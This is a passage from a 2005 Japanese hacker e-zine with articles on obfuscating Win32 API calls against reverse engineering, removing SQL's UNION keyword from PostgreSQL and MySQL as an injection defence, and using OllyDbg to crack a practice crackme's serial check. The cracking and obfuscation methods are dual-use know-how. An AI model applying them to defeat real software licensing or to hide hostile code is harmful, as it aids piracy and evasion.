[-]=======================================================================[-] Wizard Bible vol.23 (2005,12,12) [-]=======================================================================[-] x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x ---- 第0章:目次 --- x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x ○第1章:AntiCracking Techniques 〜 Obfuscating API Call Suma 著 ○第2章:SQLインジェクションに対するインチキ防御 金床 著 ○第3章:Ollydbgをはじめよう marodc 著 ○第4章:C# Programming 0x1 Will 著 ○第5章:マメ知識 vol.1 Taka John Brunkhorst 著 ○第6章:ハニーポットを作ろう(連載第7回) Narusase 著 ○第7章:パケットフィルタリング 〜デバイスドライバ篇〜 Kenji Aiko 著 ○第8章:ピッキングの雑学 その1 IPUSIRON 著 ○第9章:お知らせ ○第10章:著者プロフィール x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x --- 第1章: AntiCracking Techniques 〜 Obfuscating API Call 〜 --- 著者:suma x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x ■0x01.) はじめに  AntiCrackingとはプログラムのリバースエンジニアリングを防ぐ技術です。ア センブリコードがコンピュータ上で実行される以上、リバースエンジニアリング そのものを防ぐことはできません。そのため「防ぐ」ではなく「リバースエンジ ニアリングの邪魔をする」を重点におきます。また、AntiCrackingにかかる手間 を可能な限り最小限にとどめることも考えてみます。  コンパイラはVisual Studio .NET 2003を使用し、言語にはC++を使用します。 基本的な偽装の仕組みはCとC++で特に違いがないので、C++がわからなくても理解 できると思います。コンパイラはBorland C/C++ Compiler(以後BCCと呼びます) を使用しても構いません。 ■0x02.) Win32API呼び出しの偽装  Win32APIはDLL(Dynamic Link Library)によって提供されています。Win32AP IはWindowsプログラムを作る上で非常に重要です。そこで、リバースエンジニア リングのヒントとなるWin32APIの呼び出しを偽装する方法について説明します。 ●OllyDbgで呼び出しを調べる  OllyDbgを使ってWin32APIの呼び出しを調べます。偽装してないプログラムと偽 装したプログラムの違いを見てみましょう。  ソースコード、プロジェクトファイル、実行ファイルをまとめたアーカイブを 用意しています。まとめてダウンロードしたい方こちらをどうぞ。 http://wizardbible.org/file/suma/1/obf_all.zip ●普通にMessageBoxを呼び出すプログラム  普通にMessageBoxを呼び出すプログラムは次のURLからダウンロードできます。 http://wizardbible.org/file/suma/1/msgbox.cpp(ソースコード) http://wizardbible.org/file/suma/1/msgbox.vcproj(プロジェクトファイル) http://wizardbible.org/file/suma/1/msgbox.exe(実行ファイル) ----- const char *title = "title", *msg = "message"; MessageBox(NULL, msg, title, MB_OK); -----  OllyDbgでは、プログラムを開いてからCtrl+Nを押し、自分の知りたい関数を選 択してEnterを押すと、関数を呼び出している(参照している)アドレスを知るこ とができます。作成した実行ファイルをOllyDbgで見てみましょう。行う手順は「 Ctrl+N→MessageBoxAを選択してEnter→アドレス0040100Eで参照されている部分 を選択してEnter」となります。 ----- 00401000 /$ 6A 00 PUSH 0 ; /Style = MB_OK|MB_APPLMODAL 00401002 |. 68 D8504000 PUSH msgbox.004050D8 ; |Title = "title" 00401007 |. 68 D0504000 PUSH msgbox.004050D0 ; |Text = "message" 0040100C |. 6A 00 PUSH 0 ; |hOwner = NULL 0040100E |. FF15 C4504000 CALL DWORD PTR DS:[<&USER32.MessageBoxA>>; \MessageBoxA -----  OllyDbgを使うと簡単にMessageBoxが呼び出しを見つけることができました。コ ードを見ると、MessageBoxAを呼び出した引数まで表示されています。  ご存じかもしれませんが念のため説明します。MessageBoxを呼び出しているは ずなのに、OllyDbgではMessageBoxAが表示されています。Win32APIの中にUNICOD Eに対応している関数があります。ANSI版とUNICODE版があり、PlatformSDKのヘッ ダファイル内で宣言されています。MessageBoxの場合MessageBoxAとMessageBoxW があります。AはANSI、WはWideの略です。 ●定数のスクランブル1  定数のスクランブル1のプログラムは次のURLからダウンロードできます。 http://wizardbible.org/file/suma/1/obf1.cpp(ソースコード) http://wizardbible.org/file/suma/1/obf1.vcproj(プロジェクトファイル) http://wizardbible.org/file/suma/1/obf1.exe(実行ファイル)  今度は偽装した状態で呼び出してみます。ソースコードを見てください。 ----- const DWORD_PTR msgbox = ((DWORD_PTR)MessageBox + 0x7F12AE11); int main() { typedef int (WINAPI *MsgBox)(HWND, LPCTSTR, LPCTSTR, UINT); const char *title = "title", *msg = "message"; ((MsgBox)(msgbox - 0x7F12AE11))(NULL, msg, title, MB_OK); return 0; } -----  DWORD_PTR型のmsgboxという定数を宣言しています。この宣言によってMessage Boxのアドレスに0x7F12AE11を足した値がmsgboxに入ることになります。main内で はmsgboxの値から0x7F12AE11を引くことで、MessageBoxのアドレスを復元し、呼 び出しています。0x7F12AE11の代わりに別の値を足したり引いても構いません。 足す・引くを逆にしたり、XORなどの別の演算を使うこともできます。  ここでmsgboxの宣言がmain関数内にないこと、const修飾子がついていることを 忘れてはいけません。例えばVC++の場合、main内に宣言したり、constを付け忘れ るとコンパイラの最適化で普通にMessageBoxの呼び出した場合とかわらないコー ドが生成されることになります。BCCでは確認していませんが、コンパイラ・最適 化オプションの違いによって意図しないコードが生成される可能性があります。 そのためコンパイラが生成するコードを把握しておく必要があります。  コンパイラが生成したコードを調べるには、作成した実行ファイルをOllyDbgで 開いてから調べる方法もありますが別の方法もあります。コンパイラの中には、 アセンブリ言語のソースコードを生成をサポートしているものがあります。Visu al Studo .NETの場合は「プロジェクトオプションを表示→C/C++→出力ファイル →アセンブリの出力」から選択できます。ソースコードとアセンブリコードの両 方と比べて見ることができる「アセンブリ コードとソース コード (/Fas)」がお すすめです。  先ほどと同じようにOllyDbgで調べてみます。しかし、「Ctrl+N→MessageBoxA を選択してEnter…」という順をたどってもMessageBoxAの呼び出しを発見できま せん。呼び出しが偽装されていることがわかります。とりあえず、Homeキーを押 すか、アドレス00401000にジャンプしてください。 ------ 00401000 /$ A1 C0724000 MOV EAX,DWORD PTR DS:[4072C0] 00401005 |. 6A 00 PUSH 0 00401007 |. 68 D8504000 PUSH obf1.004050D8 ; ASCII "title" 0040100C |. 68 D0504000 PUSH obf1.004050D0 ; ASCII "message" 00401011 |. 6A 00 PUSH 0 00401013 |. 05 EF51ED80 ADD EAX,80ED51EF 00401018 |. FFD0 CALL EAX ------  普通にMessageBoxを呼び出した場合と構成が似ています。違っているのはMOV命 令、ADD命令、XOR命令です。使われている値にMessageBoxAのアドレスがないため、 OllyDbgはMessageBoxAが呼び出されていることを検出できていません。  ついでに動作を確かめてみます。アドレス00401000でF2キーを押してブレーク ポイントをしかけ、F9キーを押して実行してみましょう。アドレス00401000でい ったん止まるのでF8キーを押して1命令ずつ実行します。アドレス00401013のADD 命令を実行後にレジスタEAXに何が入っているのか確認してください。「EAX 77D 304EA USER32.MessageBoxA」のように表示されていると思います。EAXにはMessa geBoxAのアドレスが入っています。もう一度F8キーを押すと次のように表示され ます。 ----- 00401018 |. FFD0 CALL EAX ; USER32.MessageBoxA -----  さらにF8キーを押すとMessageBoxAが呼び出されます。OllyDbgではレジスタに Win32APIアドレスが入っていると検出できることがわかりました。 ●定数のスクランブル2  定数のスクランブル2のプログラムは次のURLからダウンロードできます。 http://wizardbible.org/file/suma/1/obf2.cpp(ソースコード) http://wizardbible.org/file/suma/1/obf2.vcproj(プロジェクトファイル) http://wizardbible.org/file/suma/1/obf2.exe(実行ファイル)  ここは流すように見て構いません。インラインアセンブラを使用する方法です。 インラインアセンブラで記述したコードはVC++では最適化されません。そのため、 先ほど比べて少し違ったコードが生成されます。  BCCを使ってコンパイルする場合、Turbo Assemblerがインストールされている 必要があります。Turbo AssemblerはBorland C/C++ Compiler 5.5には同梱されて おらず、C++ BuilderまたはC++ BuilderXなどに付属しています。C++ BuilderX Personal版は無料で使える上、Turbo Assemlberも付属しているのでそちらを使う 手もあります。 ----- const char *title = "title", *msg = "message"; _asm { lea eax, [MessageBox + 0x7F12AE11] push 0 push msg push title push 0 sub eax, 0x7F12AE11 call [eax] } ----- ----- 00401000 /$ 55 PUSH EBP 00401001 |. 8BEC MOV EBP,ESP 00401003 |. 83EC 08 SUB ESP,8 00401006 |. C745 FC D85040>MOV [LOCAL.1],obf2.004050D8 ; ASCII "title" 0040100D |. C745 F8 D05040>MOV [LOCAL.2],obf2.004050D0 ; ASCII "message" 00401014 |. 8D05 D5FE527F LEA EAX,DWORD PTR DS:[7F52FED5] 0040101A |. 6A 00 PUSH 0 0040101C |. FF75 F8 PUSH [LOCAL.2] 0040101F |. FF75 FC PUSH [LOCAL.1] 00401022 |. 6A 00 PUSH 0 00401024 |. 2D 11AE127F SUB EAX,7F12AE11 00401029 |. FF10 CALL DWORD PTR DS:[EAX] ----- ●LoadLibraryの使用  LoadLibraryを使用したプログラムは次のURLからダウンロードできます。 http://wizardbible.org/file/suma/1/obf3.cpp(ソースコード) http://wizardbible.org/file/suma/1/obf3.vcproj(プロジェクトファイル) http://wizardbible.org/file/suma/1/obf3.exe(実行ファイル)  LoadLibraryとGetProcAddressを使って呼び出します。LoadLibraryでuser32.d llをロードし、 GetProcAddressでMessageBoxAのアドレスを取得しています。 ----- HINSTANCE hUser = LoadLibrary("user32.dll"); if (!hUser) { return -1; } MsgBox msgbox = (MsgBox)GetProcAddress(hUser, "MessageBoxA"); if (!msgbox) { return -1; } ------  OllyDbgで見ると次のようになります。 ------ 00401000 /$ 68 E4504000 PUSH obf2.004050E4 ; /FileName = "user32.dll" 00401005 |. FF15 04504000 CALL DWORD PTR DS:[<&KERNEL32.LoadLibrar>; \LoadLibraryA 0040100B |. 85C0 TEST EAX,EAX 0040100D |. 74 10 JE SHORT obf2.0040101F 0040100F |. 68 D8504000 PUSH obf2.004050D8 ; /ProcNameOrOrdinal = "MessageBoxA" 00401014 |. 50 PUSH EAX ; |hModule 00401015 |. FF15 00504000 CALL DWORD PTR DS:[<&KERNEL32.GetProcAdd>; \GetProcAddress 0040101B |. 85C0 TEST EAX,EAX 0040101D |. 75 04 JNZ SHORT obf2.00401023 0040101F |> 83C8 FF OR EAX,FFFFFFFF ------  続いてMessageBoxAを呼び出す部分です。 ------ const char *title = "title", *msg = "message"; msgbox(NULL, msg, title, MB_OK); ----- ----- 00401023 |> 6A 00 PUSH 0 00401025 |. 68 D0504000 PUSH obf2.004050D0 ; ASCII "title" 0040102A |. 68 C8504000 PUSH obf2.004050C8 ; ASCII "message" 0040102F |. 6A 00 PUSH 0 00401031 |. FFD0 CALL EAX -----  この段階では、LoadLibraryで動的にロードしたため、MessageBoxAの呼び出し はOllyDbgに検出されていません。ここでも動作を確かめてみます。アドレス004 01031でブレークポイントをしかけて停止させると、EAXにMessageBoxAのアドレス が入っていることがわかります。LoadLibraryとGetProcAddressを使った場合でも、 OllyDbgはWin32APIのアドレスを検出できることがわかりました。 ■0x03.) 手間を減らす  偽装の仕組みについて理解して頂けたでしょうか。Win32APIのアドレスを出さ せないことが肝となります。ここで終わりたいところですが、最初に「AntiCrac kingにかかる手間を可能な限り最小限にとどめることも考えてみます」と書いた ように、手間を減らすことも考えてみます。 ●ソースコードの可読性  MessageBoxを呼び出したソースコードを比較します。msgbox.cppの場合、特に 見やすくもなく、見づらくもありません。しかし、obf1.cpp〜obf3.cppのソース コードはどうでしょうか。一行で済む処理をわざわざ複数行に展開することでソ ースコードが見づらくなっています。実際にプログラムを作る場合は多くのWin3 2APIを呼び出すため、可読性に大きな影響を与えると考えられます。 ●偽装する手間  完成たソースコードに手を加えること、コーディング時に偽装していくこと、 両方ともひとつひとつの呼び出しを手作業で変更することになります。単調な作 業の繰り返しをコーディングの一環に取り入れるわけにはいきません。 ■0x04.) 手間を減らすために  単調な作業の繰り返しと、ソースコードの可読性について取り上げました。単 調な作業を解決するのに役立つツールとは何でしょうか。C/C++のプリプロセッサ です。マクロを宣言することで、プリプロセッサが自動的に展開します。実際に 使ったプログラムを作ってみます。 http://wizardbible.org/file/suma/1/obf4.cpp(ソースコード) http://wizardbible.org/file/suma/1/obf4.h(ヘッダファイル) http://wizardbible.org/file/suma/1/obf4.vcproj(プロジェクトファイル) http://wizardbible.org/file/suma/1/obf4.exe(実行ファイル)  ソースコードはmsgbox.cppと比べて、obf4.hをインクルードしているだけです。 ----- obf4.cpp #define WIN32_LEAN_AND_MEAN #include #include "obf4.h" int main() { const char *title = "title", *msg = "message"; MessageBox(NULL, msg, title, MB_OK); return 0; } -----  続いてヘッダファイルです。obf1.cppでの宣言部分をヘッダファイルに移し、 MessageBoxをマクロで再宣言しています。 ----- obf4.h #pragma once typedef int (WINAPI *_MessageBox)(HWND, LPCTSTR, LPCTSTR, UINT); const DWORD_PTR p_MessageBox = ((DWORD_PTR)MessageBox + 0x7F12AE11); #undef MessageBox #define MessageBox ((_MessageBox)(p_MessageBox - 0x7F12AE11)) -----  コンパイルされると結局、プリプロセッサに展開されてobf1.cppと変わらなく なります。 ■0x05.) GetProcAddressの自作 アーカイブ(ソースコード・プロジェクトファイルのみ) http://wizardbible.org/file/suma/1/apicaller.zip  LoadLibraryとGetProcAddressを使用することで呼び出しを偽装することができ ました。しかし、それでもOllyDbgでステップ実行すればアドレスが検出できまし た。そこで私は「OllyDbgはGetProcAddressの呼び出しをHookすることでWin32AP Iのアドレスを調べている」と考え、この仮定のもとGetProcAddressを作成しまし たが、試したところGetProcAdderssは関係ありませんでした。おそらく、LoadLi braryが呼ばれた段階でアドレスが解析されているのでしょう。  GetProcAddressの自作に加えて、次のことを考えて作成しました。 1:自作したGetProcAddressに文字列のハッシュを使用する 2:取得したアドレスはスクランブルしてメモリに保存する 3:Win32APIを呼び出す際はスクランブルした値を元に戻してから呼び出す 4:GetProcAddressを自作にAPI Hookの対策もかねる 5:呼び出しはプリプロセッサに自動展開させる  GetProcAddressを自作することでDLLからアドレスが取得されてないようにみせ かけ、文字列のハッシュしか保持しないことで、リバースエンジニアリング時に 注目されににくくします。LoadLibraryと自作のGetProcAddressを使うことで、I ATを書き換える方法を使うAPI Hookの対策が可能です。  すいませんが時間の都合上、GetProcAddressの作成方法と、ソースコードの細 かい説明は省かせて頂きます。ごめんなさい。 ■0x06.) ヘッダファイルの生成  ヘッダファイルに宣言をまとめることでWin32APIを呼び出す側のソースコード の変更を意識する必要はなくなりました。しかし、宣言を書く手間は解決してい ません。そこで、ヘッダファイルを自動生成するツールを作成します。  PlatformSDKのヘッダファイルから全ての宣言を抽出するか、自分が呼び出すW in32APIのみ抽出してヘッダファイルを作成するツールを作るとよいでしょう。こ こでソースコードとプログラムを公開したいところですが、恥ずかしいことに私 が文字列処理が苦手で、この記事を書くまでに作成することができませんでした。 自分で挑戦してみてください。 ■0x07.) 終わりに  手間を減らすために「プリプロセッサを活用する」「ヘッダファイルを自動生 成する」のふたつの手段を紹介しました。単純な作業はプログラムにやらせまし ょう。  今回はWin32API呼び出しの偽装でした。Win32APIに限らず、DLLの関数を呼び出 す際にこのテクニックを使うことができます。リバースエンジニアリングを防ぐ ための方法はこれだけではありませんし、これだけで十分とはいえません。興味 のある方はぜひ自分で調べてみてください。また、普通とは違った視点で考え、 実際にプログラムを作ってはいいかがでしょうか。 x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x --- 第2章: SQLインジェクションに対するインチキ防御 --- 著者:金床 x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x ■0x01.) はじめに  以前書いたhostsファイルの名前変更と似たようなネタである。またしてもイン チキ的発想による我流小細工防御テクニックを編み出してしまったので、懲りず に公開したいと思う。題名の通り、今回のテクニックはSQLインジェクション攻撃 に対する防御として使用できるものだ。SQLインジェクション攻撃はデビュー以来、 特に日本国内ではぱっとしない扱いだったものの、今年になって発生したカカク コ○(一部伏せ字)の改竄・及び個人情報流出事件で一躍スターダムにのし上が った、ウェブアプリケーションに対する攻撃手法の一種である。多くのケースで はデータベースの中身をウェブアプリケーション経由で盗まれたり改竄されたり する他、カ○クコム(一部伏せ字)のようにMicrosoftのSQL Serverを使っている 場合には、xp_cmdshellというとっても(クラッカーにとって)便利な機能によっ てOSのコマンドが実行され、その結果ウェブサイトの改竄が行われたりもしてし まう。破壊力の大きさでは他を寄せ付けない、非常に避けたい攻撃のひとつだ。 ちなみにこの記事で出てくる「クラッカー」という用語は悪質なコンピュータ犯 罪者を指すものであり、「どーも○×△です」などと名乗るタコ焼きが好きな人 たちのことではないので注意されたい。 ■0x02.) コンセプト  多くのソフトウェアやプロトコルでは次々に機能拡張が行われ、多機能でとて も便利な方向へと開発が進められていく。しかしこの「便利」がくせ者で、ユー ザにとって便利であるよう設計された機能が、クラッカーにとっても激しく便利 になっていることが多々ある。ひどい場合には正規のユーザが殆ど使用しないの に、クラッカーによる侵入の際には定番の機能として使用されるようなものも存 在する。例えばHTTPのTRACEメソッド。こんなもの、普通のユーザはまず使わない。 にも関わらずApacheなどのWebサーバーは丁寧に実装してしまっているために、今 流行のAjaxで使用されるXMLHttpRequest(だったかな)と組み合わせてCross Si te Tracingという新たな攻撃手法が編み出されてしまった。また、先述のxp_cmd shellなども同じく普通は使われないのに(使わないよね?)クラッカーにとって は侵入のための決定的な武器となってしまっている。  このような機能は、自分が使っているソフトウェアからは削除したい。多少不 便でもセキュアな方がイイ!これが基本的なコンセプトである。 ■0x03.) 今回削除する機能はUNIONだ  さて今回削除する機能は、SQL文で使うことのできる「UNION」キーワードであ る。元町にあるスーパーではないし、ましてやディスクUNIONでもない。最近行っ てないなぁディスクUNION。  さてUNIONは複数のselect文の結果を統合するために使われる。最も簡単な例は 次のようなものだ。 ----- mysql> select 1 union select 2 union select 3; +---+ | 1 | +---+ | 1 | | 2 | | 3 | +---+ 3 rows in set (0.00 sec) -----  漏れはデータベースについては初心者に毛が生えたくらいのスキルしか持って いないのでそのせいかもしれないが、はっきりいって使わないです。UNION。SEL ECT文は統合しないです。データベースハカーになるとUNION乱発したりするのだ ろうか。とにかく漏れは使わない。そしてこのUNIONという機能、SQLインジェク ション攻撃を実りあるものにするための、クラッカーにとって欠かせない機能と なってしまっているのだ。SQLインジェクション攻撃の際にUNIONがどのように使 われるかについてはネット上に豊富にある文献を参照してもらうとして、とにか くこのUNIONという物騒な機能を自分のシステムから削除したい。今回削除する対 象となるシステム(データベース)は、共にオープンソースでシェアも高いMySQ LとPostgreSQLだ。ちなみにMySQLは古いバージョンではそもそもUNIONの機能がサ ポートされておらず、そのせいでSQLインジェクション攻撃に対する耐性が高くセ キュアだと評価されていたりする。しかし最近のバージョンではしっかりサポー トされており、他のデータベースと同様にSQLインジェクション攻撃の際にクラッ カーに使用されてしまう運命を辿りつつある。 ■0x04.) PostrgeSQLからUNIONを除去  まずPostgreSQLの場合である。ちなみに手元で試したのは多少古いバージョン なので、最近の新しいやつでも同様に除去できるかどうかは分からない。  PostgreSQLのソースを展開すると、src/backend/parserというディレクトリに keywords.cというファイルがある。このファイルには、次のようにデータベース エンジンがSQL文を解釈していく時に使われる、各種のキーワードが定義されてい る。 ----- static ScanKeyword ScanKeywords[] = { /* name, value */ {"abort", ABORT_TRANS}, {"absolute", ABSOLUTE}, {"access", ACCESS}, {"action", ACTION}, {"add", ADD}, ...(略) -----  この中に{"union", UNION},という行があるので、この行を変更すれば良い。例 えば {"onion", UNION},と変更すれば、UNIONの代わりにONIONというキーワード が使用できる、非常にイカしたPostgreSQLの出来上がりだ。キーワードを自分し か知らないものに変更する方法でも良いし、あるいはこの行をさっくり削除して も良いかもしれない。ちなみに注意点として、キーワードを変更する際には配列 がアルファベット順にソートされた状態を保つようにすること。また、漏れは対 象の行を削除する方法は試していないので、削除しても正しく機能するかどうか は分からない。  UNIONの行を変更(もしくは削除)したら再度makeし、src/backend内に生成さ れるバイナリpostgresを現在使用しているものと置き換えて、データベースを再 起動する。これでUNIONの除去が完了する。 ■0x05.) MySQLからUNIONを除去  次にMySQLの場合だ。手元ではバージョン4.1.15を使った。バージョン5系列な どで同じ方法が使えるかどうかは分からない。また、先述の通り古いバージョン ではそもそもUNIONがサポートされていないので、除去する必要はない。  MySQLのソースを展開すると、sqlというディレクトリにlex.hというファイルが ある。PostgreSQLのkeyword.cと同様に、このファイルに各キーワードが定義され ている部分がある。 ----- static SYMBOL symbols[] = { { "&&", SYM(AND_SYM)}, { "<", SYM(LT)}, { "<=", SYM(LE)}, { "<>", SYM(NE)}, { "!=", SYM(NE)}, { "=", SYM(EQ)}, ...(略) -----  ここでは「{ "UNION", SYM(UNION_SYM)},」という行が目的の部分 になる。UNIONをONIONなどに変えたら、再度makeする。そしてsqlディレクトリ内 に生成されるmysqldを現在使用しているものと置き換え、データベースを再起動 すれば出来上がりだ。 ■0x06.) まとめ  このように、PostgreSQLとMySQLから、非常に手軽にUNION機能の削除を行うこ とができた。漏れはクラッカーでは無いが、ウェブアプリのセキュリティを検査 する際には当然、攻撃者の視点で作業する。この時のクラッカー的視点から考え ると、やはりUNIONが削除されていると大分違う。小細工には違いないが、それな りに効果のある方法ではないかと思う。  オープンソースソフトウェアのソースコードを自分でいじるということは敷居 が高く感じるかもしれないが、「機能の削除」という観点から手を加えてみると、 比較的簡単であることに気付く。このように自由に手を加えて遊べることは、無 料で使えることと同じく、オープンソースソフトウェアを使う上での大きなメリ ットである。享受されたし。 x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x --- 第3章: Ollydbgをはじめよう --- 著者:marodc x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x ■0x01.) はじめに  さて、クラック業界(?)も『クラッキング・バイブル』などの発売でにわか に活気づいてきた感がありますが、Ollydbgは中でもWindowsでクラックを行う際 には重要度では3本の指に入る(と思う)ツールのひとつです。ところが意外と使 い方にとまどう人がいるらしく、どうも「なんかとりあえず常備してはあるけど、 使ってない」状態になってる人が多いようです。というか、結構使いやすいよう に作られているので、基本を押さえればかなり応用が利くはずです。  今回は、crackmeや、その他一般に公開されているソフトウェアを使ってのクラ ックの紹介ではなく、単純にOllydbgの操作の説明という感じでできる限り汎用性 を持たせて書き進めていきたいと思います。  なお、以下文中にてはアセンブリ言語の一部知識とある程度のWindowsの操作に 関して知っているものとして説明している箇所がありますので、ご存じなければ その都度調べていただければと。  OllydbgはWindows XP上でVersion 1.10を日本語化したものを使用しました。日 本語化されていない場合は、その都度読み替えるか日本語化するかのいずれかの 対応をお願いします。  またWindows 9x系での解析は、一部解析結果に多少の違いが見られる(らしい) ので、NT系OSで解析されることをおすすめします。 ■0x02.) Ollyの前に  まず、ウィルスチェックをしましょう。解析の対象がウィルスに感染していた 場合、というかウィルスそのものであった場合感染してしまうおそれが大いにあ ります。もしこれが面倒なら、VMWareなりVirtual PCなりの上でやればよいでし ょう。  続いてパッカーの検出を行うためにPEiD(PE iDentifier)にかけます。UPXな どが有名ですね。もちろん手動でアンパック(パッカーでパック=圧縮されたも のを解凍すること)することもできるのですが、スキル向上にはなるとはいえ大 変面倒です(興味のある方は古今東西大量のチュートリアルがありますので調べ てみてください)。アンパックツール(UPXならUPX本体からupx -dコマンドで解 凍できます)さくっと解凍してしまいましょう。 ■0x03.) 情報収集をする  まず解析を始めるために、目標を確認しておきましょう。いったい自分は何が したいのか?「シリアルキーを求め、使用期限制限を解除する」「CDチェックを 解除する」…いろいろありますがともかく確固たる目標を設定するのが大事です。 目標をしっかり設定しておけば、後の解析に必ず役立つでしょう(っていうか、 目標がわからないと何もできません。笑い)。  さて、実際の解析にはいるのですが、まずはその前に最終目標に行き着くまで の道のりを考えておくのが賢い方法であると思います。ということは道のりを考 えるに当たって、プログラムそのものの挙動を確かめる必要があるでしょう。と いうことで、まず解析の最初の最初の第一歩としてプログラムをOllyを通さずに 一度起動してみるという作業が必要になります。そして最終目標に向けての情報 収集を開始するわけですね。例えば、よくあるcrackmeの場合の最終目標は「シリ アルキーを求める」ことであり(注、シリアルキーを求めることが最終目標でな いcrackmeも存在します)、さらにそこに行き着くまでのプログラムの挙動を紙 でもnotepad.exeでも何でもかまわないので書いてみるということをしてみる、 という作業が下準備になります。解析の前ですから当然シリアルキーは不明なの ですが、それでも適当なキーを入力してみたりする作業も必要です。何が必要か というとエラーメッセージが必要です。エラーメッセージは解析を行うにあたっ ての大きな鍵、キーポイントになります。ダミーキーを入力した後でたエラーメ ッセージ(「シリアルキーが違います!」「不正解です!」など)は必ずメモし ておきましょう。一般化すると、何か目標の挙動(CDROM チェックの解除などな ど…)をさせるにあたって、解析を行う前は当然正解を知りませんから、その目 標の挙動は行われず、エラーメッセージなどが表示されるわけです。そのエラー メッセージをメモしておきましょう。これは後で役に立ちます。  では、解析の対象となるファイルをOllydbgで開くと、まず逆アセンブルされた リスト、レジスタなどの画面が目につきます。さらに、Ctrl+Nを押すと、ラベル ・ネームの一覧というのが出てきますね。これが対象が使用しているAPI関数の一 覧になります。まずはだいたいメインウィンドウの逆アセンブルリスト、それか らラベルネームの一覧の2つから情報収集することになります。  情報収集のためのアプローチは目標によって違いますが、ここで説明の便宜上、 教材を使用することにします。eagle0wl氏が制作されたcrackme Vol.1より#03を 使用したいと思いますので各自調達してください(笑い)。もちろんなくてもあ る程度は理解できるように書き進めます。  なお、carckmeはeagle0wl氏のサイトからダウンロードできます。 http://www.mysys.org/eagle0wl/re/crackme/crackme.html  ところで逆アセンブルリストというのは、上から下へ(ジャンプ命令をのぞけ ば)順番に実行されていくように出力されています(少し語弊がありますが)。 ということは、逆順に追っていくと逆にプログラムを実行する、タイムラインを 逆に走ることが可能になります。  目標が「シリアルキーを求める」ことなら、プログラムは「入力されたシリア ルを取得し、チェックし、正否判定を行い出力する」という風に書かれているは ずであり、なおかつ逆アセンブルリストもその順に命令が並んでいるはず、と理 解できます。ということは、「出力する」ところを発見すれば、「正否判定を行 う」場所、「チェックする」も発見できる、芋づる式に分かっていくはずです。 ここでシリアルを判定しているルーチンがどこにあるかということも分かります。  ということで、その「場所」がどこにあるかを特定するためには、そのために プログラムが書かれてあり、逆アセンブルリストにも当然載っているはずですか ら、その「場所」にある何らかの行動を表すためのルーチンがあるはずです。言 い換えれば、その場所それぞれでは、必ず「行動」を行うためのルーチンが記述 されているか、あるいはCALL命令で関数が呼び出されているはずです。補足する と、Windowsでは、煩雑なコードを書くことなく「文字を取得する」とか「メッセ ージボックスを出力する」といった作業を行うためにAPI関数というものが用意さ れています。たとえばメッセージボックスを出力している場所での逆アセンブル コードは「CALL DWORD PTR DS:[<&USER32.MessageBoxA>>; \MessageBoxA」という ように"MessageBoxA"というAPI関数が呼び出されています。ということは、何ら かの行動(そしてそれがAPI関数を使用せねばならないような)を起こしている場 所を特定するためには、とっさに思いつくのは「API関数を推測する」といったと ころでしょうか。たいてい、こういった文字取得系なら、「GetWindowTextA」と か「GetDlgItemTextA」などとなっていたりします。API関数の名前というのはま あだいたいはわかりやすいようにつけてあるので、Ctrl+Nで出てくる「ラベルネ ームの一覧」ウィンドウで眺めて、適当に目星をつけてブレークポイントをセッ トということです(このあたりは後ほど解説します)。  しかし、なかなかわからないこともあると。というかわからないことがたいて いだったりする・・・と。ではどうすればいいでしょう?ということで、この項目で 一番最初にお話ししたエラーメッセージが生きてくるわけです。エラーメッセー ジは逆アセンブルリストの右側に表示されます。エラーメッセージは当然プログ ラムの中に書き込まれているからです(シリアルキーのチェックルーチンが単純 にif文で入力文字列と正しいキーを判別しているだけの時など、バイナリエディ タでエラーメッセージを追っていくと至近距離にシリアルキーが書いてある場合 もあります。このときを通称「倍直」といいます)。  さて、ここからは例を出して解説します。たとえば、先述のcrackme #03の中に はこのようなくだりがあります: ----- 00401218 .^72 E6 JB SHORT crkme03.00401200 0040121A . 6A 00 PUSH 0 ; /Style = MB_OK|MB_APPLMODAL 0040121C . 68 E7304000 PUSH crkme03.004030E7 ; |Title = "登録情報" 00401221 . 68 FD304000 PUSH crkme03.004030FD ; |Text = "正解です!" 00401226 . FF75 08 PUSH DWORD PTR SS:[EBP+8] ; |hOwner 00401229 . E8 42000000 CALL ; \MessageBoxA 0040122E .^E9 6BFEFFFF JMP crkme03.0040109E 00401233 > 6A 00 PUSH 0 ; /Style = 